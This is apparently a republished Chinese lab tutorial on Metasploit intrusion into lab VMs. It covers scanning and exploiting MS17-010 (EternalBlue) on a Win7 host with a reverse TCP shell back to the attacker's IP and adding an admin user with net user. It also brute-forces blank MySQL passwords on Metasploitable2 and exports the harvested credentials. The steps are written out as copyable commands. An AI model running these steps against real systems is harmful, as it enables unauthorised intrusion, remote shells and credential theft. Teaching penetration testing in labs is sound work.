当前位置:   article > 正文

Metasploit 内网渗透二—— 实战渗透操作--感受渗透流程,具体做什么 -永恒之蓝漏洞_metasploit 内网攻击

metasploit 内网攻击

目录

一、永恒之蓝漏洞 ——使用 msf 渗透攻击 Win7 主机并远程执行命令

1、检查是否存在ms17-010漏洞,进行扫描

(1)先扫描目标是否存在 ms17-010 漏洞        ——即查找ms17-010攻击模块

(2)、use 命令选中这个模块,并查看模块需要配置的信息

(3)、配置 RHOST 主机 IP,并开始扫描         ——扫描是否存在ms17-010漏洞

2、攻击准备工作 ----配置攻击机ip,设置靶机主机ip

(1)、查找攻击模块 ---已经确定存在ms17-010模块

(2)、使用 use 命令加载模块

(3)、设置目标主机 IP

(4)、查找payload,获取shell权限,设置lhost攻击地址

3、exploit攻击

(1)exploit攻击,获取目标主机shell

(2)创建用户获取--获取用户权限

(3)退出目标机,通过会话id进行保存、删除会话

二、使用 msf 扫描靶机上 mysql 服务的空密码

1、使用 msf 扫描靶机(Metasploitable2-linux)上 mysql 服务的空密码

(1)Metasploitable2-linux登录查看ip

(2)检索mysql_login登录模块并加载

(3)配置用户和空密码,设置靶机ip,进行攻击

可行操作: ----开启数据库

不行操作: ---网上找到的方法

(4)查看列出凭证:

2、将前面扫描 mysql 数据库空密码信息导出

3、扫描的结果导入另一台机器的 Metasploit 中

(1)重置数据库

(2)导入另一台主机

方法1:使用msf6进行导入数据

方法2:使用nmap进行导出导入

4、查看数据库中主机服务信息


实验内网渗透环境

Metasploitable2-linux:靶机 192.168.234.8

kali-debian:攻击机 192.168.234.141

win7 虚拟机:靶机 192.168.234.158

                

Metasploitable2-linux靶机安装环境:

链接:https://pan.baidu.com/s/1hFd_BaUETz9pM4X5Kfeh_w 
提取码:5b90 

        在此声明文章仅供相互学习参考,严禁利用于违法犯忌的事,任何事故自行承担!!

一、永恒之蓝漏洞 ——使用 msf 渗透攻击 Win7 主机并远程执行命令

                                                                ——永恒之蓝漏洞(共享文件应用漏洞)

        利用的是:共享文件应用漏洞;分为:扫描阶段--攻击阶段--payloads--操作

        永恒之蓝(EternalBlue):

                 是漏洞利用程序(网络攻击工具),永恒之蓝利用windows系统的SMB漏洞可以获取系统最高权限。

        SMB协议(Server Message Block):

                它能被用于Web连接和客户端与服务器之间的信息沟通,SMB通过windows的共享文件应用端口号(主要通信端口:445)进行信息沟通。

MS17-010(永恒之蓝漏洞):

利用SMB协议的缓冲区溢出漏洞,通过覆盖其他内存区域,实现远程的命令注入。

  1. 扫描阶段:kali攻击机通过445端口号向windows靶机发送TCP报文,扫描查看是否存在ms17-010漏洞
  2. 攻击阶段:kali通过共享文件应用端口号445,对win7(靶机)发送SMB报文进行攻击,建立连接
  3. payloads(建立连接):win7(靶机)进行监控的数据包通过444端口号传输到kali(攻击机)中,建立稳定连接 ---攻击载荷,可返回shell(bash或cmd),进行程序注入等
  4. 在攻击机进行靶机操作:对靶机进行想要进行的一系列操作,eg、对靶机进行增删改查各种信息等操作

payload 模块:建立连接,攻击载荷 ,其作用:

        木马病毒将shell封装在(实现配置好的)通信协议数据包里,再返回给kali,其中payloads模块就是所使用的通信协议(通信规则),返回时就需要用这个payloads模块进行解析

        同时建立好session回话后,payloads模块还需要封装由目标机所需要执行的命令发送出

正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。

        影响:恶意代码会扫描开放文件共享端口(端口号:445)的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

通过 msf 模块获取 Win7 主机远程 shell

1、检查是否存在ms17-010漏洞,进行扫描

扫描阶段--TCP

(1)先扫描目标是否存在 ms17-010 漏洞        ——即查找ms17-010攻击模块

msf6 > search ms17-010 ----与ms17-010相关的模块

(2)、use 命令选中这个模块,并查看模块需要配置的信息

msf6 > use auxiliary/scanner/smb/smb_ms17_010

msf6 auxiliary(scanner/smb/smb_ms17_010) > show options         #查看模块的选项

        ----使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写(输入r然后按tab键可以自动补全该参数)。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标

(3)、配置 RHOST 主机 IP,并开始扫描         ——扫描是否存在ms17-010漏洞

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.234.158

                        -----RHOST就是靶机的ip地址

msf6 auxiliary(scanner/smb/smb_ms17_010) > run ---运行扫描模块

----目标看起来易受攻击,也就表示可能存在相关漏洞。

2、攻击准备工作 ----配置攻击机ip,设置靶机主机ip

(1)、查找攻击模块 ---已经确定存在ms17-010模块

返回上层:

msf6 > search ms17-010 #查找攻击模块

(2)、使用 use 命令加载模块

msf6 > use exploit/windows/smb/ms17_010_eternalblue         #use命令加载模块

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options         #查看模块的选项

        --------使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写(输入r然后按tab键可以自动补全该参数)。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标

(3)、设置目标主机 IP

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.234.158

查看 exploit target 目标类型:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets --只存在一个target,系统默认选择

(4)、查找payload,获取shell权限,设置lhost攻击地址

找一个 payload,获取 shell 远程连接权限后,进行远程执行命令

msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell type:payload

        注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的协议,可返回 shell,也可以进行程序注入等。

        我们挑选一个反弹 shell 的 payloads,#设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp

查看一下 payloads 需要配置什么信息:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload 信息

设置一下本机 payload 监听地址,即LHOST--kali攻击机的地址

msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.234.141

3、exploit攻击

(1)exploit攻击,获取目标主机shell

配置完成后开始执行 exploit [ɪkˈsplɔɪt 运用;利用;

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit ----攻击

注:如果等待没有出现 shell 提示符可以敲一下回车。

无shell提示符,回车(此时直接执行都有目标主机shell)

注:攻击成功会进入meterpreter,此时输入shell进入对方的cmd,exit可退出meterpreter

(2)创建用户获取--获取用户权限

C:\Windows\system32>net user admin admin /add #使用 DOS 命令创建用户

        显示乱码但是已经添加成功,拓展:解决乱码问题(乱码是因为 windows 和 linux 的编码不一样导致的)

C:\Windows\system32>chcp 65001 #创建用户

C:\Windows\system32>net user #查看用户

C:\Windows\system32>whoami #查看拿到的用户权限

(3)退出目标机,通过会话id进行保存、删除会话

关闭链接 Ctrl+c

Abort session 1? [y/N] y

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j

#-j 表示后台执行 渗透目标完成后会创建一个 session,我们可以通过 session 连接目标主机。

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 201 #通过会话 Id 进入会话

C:\Windows\system32>background #退出会话,将会话保存到后台

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4 #根据会话 Id 结束(删除)会话

二、使用 msf 扫描靶机上 mysql 服务的空密码

操作结果:知道目标靶机是否是空密码,进去后从creds凭证查看账号和密码

set blank_passwords true:尝试为所有用户设置空白密码

在set blank_passwords true之前设置set username root:

在一台msf中导出空密码信息并导入进另一台msf中:测试是否能够传输

  1. 扫描所有用户是否是空密码         ---得到空密码用户信息
  2. kali通过3306端口攻击Metasploit2_linux获取信息      ---获取导出账号和密码信息
  3. 导出的信息导入到另一台msf        ----实现不同操作系统的
  4. 查看导出的数据库信息的信息

后端凭证命令creds ,列出数据库中的所有凭据(也就是账号和密码)

我们启动一台 Metasploitable2-Linux 靶机网络模式为桥接 IP:192.168.234.8

1、使用 msf 扫描靶机(Metasploitable2-linux)上 mysql 服务的空密码

(1)Metasploitable2-linux登录查看ip

登录 Metasploitable2-Linux 系统:

输入 ip a 查看 ip 地址:

(2)检索mysql_login登录模块并加载

msf6 > search mysql_login        

                 #登录 Kali 开始搜索模块,查看是否有空密码,如果有则加载相应的辅助模块

                ---因为要查找的是mysql的空密码,涉及到登陆问题===》查找login。

msf6 > use auxiliary/scanner/mysql/mysql_login
                        #加载模块,发现blank_passwords是true(如果是false则要设置为true)

msf6 auxiliary(scanner/mysql/mysql_login) > show options

                        #查看模块配置项

(3)配置用户和空密码,设置靶机ip,进行攻击

msf6 auxiliary(scanner/mysql/mysql_login) > set USERNAME root         #配置要爆破的用户

参数:BLANK_PASSWORDS 含意:Try blank passwords for all users #为所有用户尝试空密码

msf6 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true

                #为所有用户尝试空密码==》扫描所有用户是否有存在空密码的

msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.234.8

                #设置目标主机ip,即靶机

msf6 auxiliary(scanner/mysql/mysql_login) > exploit

                #配置完成后我们执行 run 或者 exploit,进行攻击

使用后端凭证命令 creds , 列出数据库中的所有凭据 ---- Credentials [krəˈdenʃlz] 凭证;证书;

msf6 auxiliary(scanner/mysql/mysql_login) > creds

注:postpresql问题解决:No active DB -- Credential data will not be saved!---kali中连接postgresql数据库并设置密码

即无活动数据库,凭证将不会被保存。查看主机信息和凭证信息,发现原因是数据库未连接!

可行操作: ----开启数据库

msf6 > msfdb #查看msf数据库database相关命令

msf6 > msfdb init         #开启数据库,并初始化,已经开启了数据库,还需要打开运行数据库

msf6 > msfdb run         #打开并运行数据库

不行操作: ---网上找到的方法

root@kali:~# systemctl start postgresql         #启动postgresql

root@kali:~# systemctl enable postgresql         #设置开机自启动

msf控制台提示没有数据库配置文件:No active DB -- Credential data will not be saved!

msf6 > db_statu         #查看数据库状态:

msf6 > msfdb init         #初始化一下msf数据库,若已经初始化过则输入:msfdb reinit

生成了配置文件database.yml

msf6 > vim /usr/share/metasploit-framework/config/database.yml #查看一下配置文件中的内容

打开新的标签页(ctrl+shift+t),进行操作:

root@kali:~# sudo -u postgres psql         #进入postgresql数据库

为msf用户设置密码===》就可以在msf控制台连接数据库

postgres=# alter user msf password 'merezj';         #修改msf密码为merezj

注意:数据库操作的每条语句后都有分号,如果输入错了按ctrl+c进行重新输入。

输入\q退出,之后就可以用设置密码在msf控制台进行连接数据库了

msf6 > db_connect msf:merezj@localhost/msf #连接数据库

打开msf控制台,尝试看是否能够自动连接数据库:

结果发现不能自动连接,显示密码认证失败===》修改msf连接数据库的配置文件: ---密码修改为merezj

root@kali:~# vim /usr/share/metasploit-framework/config/database.yml

这下可以msf就可以自动连接数据库了:

但是对于我的kali虚拟机不行,依然还是: ---因为我那个不是

(4)查看列出凭证:

msf6 auxiliary(scanner/mysql/mysql_login) > creds

        #后端凭证命令creds ,列出数据库中的所有凭据(也就是账号和密码);Credentials :凭证;证书;

之后就可以以xml文件的形式导出空密码信息了

2、将前面扫描 mysql 数据库空密码信息导出

msf6 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml 

注:导出只支持两种格式:xml 和 pwdump,常用的导出格式为 xml

msf6 auxiliary(scanner/mysql/mysql_login) > exit         #导出以后退出程序

3、扫描的结果导入另一台机器的 Metasploit 中

(1)重置数据库

root@zwzj:~# msfdb reinit         #直接重置数据库,当成新的来用

root@zwzj:~# msfconsole         #连接 Metasploit

msf6 > hosts         #查看数据库,发现数据库中主机信息是空的,我们导入数据

(2)导入另一台主机

注:数据库后端命令:

                db_connect  连接到现有的数据库

                db_disconnect  断开与当前数据库实例的链接

                db_export  导出包含数据库内容的文件

                db_import 导入扫描结果文件(文件类型将被自动检测)

方法1:使用msf6进行导入数据

msf6 > db_import /root/bak.xml         #导入2中导出的mysql空密码信息数据

msf6 > hosts         #查看数据库中的主机,已经导入

msf6 > hosts -h         #查看命令选项

        在这里,最重要的是选项 -c,此选项使我们能够选择要用 hosts 命令显示的数据的列或字段(类似于 SQL 中的 select 命令)。在上图中可以看到显示的可用列。

msf6 > hosts -c address,name,os_name         #显示指定列的主机信息

删除指定主机:hosts -d +ip地址

方法2:使用nmap进行导出导入

root@zwzj:~# nmap -A zwzj.cn -oX zwzj.xml

                #将扫描信息导出到 XML 文件中,之后可直接将 NMAP 的扫描结果导入到 Metasploit 数据库中

msf6 > db_import /root/zwzj.xml         #回到 Metasploit 导入扫描的xml结果

msf6 > hosts         #查看结果,发现xml结果已被导入hosts主机

4、查看数据库中主机服务信息

msf6 > services         #查看我们数据库中的主机都开放了哪些服务

msf6 > services -R 192.168.234.8        ———— #显示指定主机的服务信息

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Guff_9hys/article/detail/848217
推荐阅读
相关标签
  

闽ICP备14008679号